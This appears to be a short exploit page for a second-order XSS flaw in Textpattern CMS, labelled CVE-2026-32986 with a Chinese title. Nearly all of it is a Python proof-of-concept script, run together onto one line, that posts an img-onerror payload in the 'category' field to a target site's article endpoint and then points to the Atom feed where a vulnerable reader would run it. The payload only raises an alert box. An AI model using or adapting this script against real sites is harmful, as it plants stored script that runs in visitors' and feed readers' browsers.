CVE-2026-32986 Textpattern CMS二阶XSS漏洞

import requests # Target URL configuration target_url = "http://target-textpattern-site/index.php" # Malicious payload to be injected into the Atom feed # The payload targets the 'category' parameter which is reflected in XML fieldspayload = { "category": "<img src=x onerror=alert('CVE-2026-32986')>", "title": "Test Article", "body": "Content goes here" } # Step 1: Inject the payload # This simulates a request that creates an entry or updates a category try: response = requests.post(target_url + "?event=article", data=payload) if response.status_code == 200: print("Payload injected successfully.") else: print(f"Injection failed with status code: {response.status_code}") except Exception as e: print(f"Error during injection: {e}") # Step 2: Verify by checking the Atom feed # An attacker or admin would access the feed to trigger the XSS in a vulnerable reader feed_url = target_url + "?feed=atom" print(f"Check the feed at: {feed_url}") print("If the feed reader parses this using innerHTML, the alert will trigger.")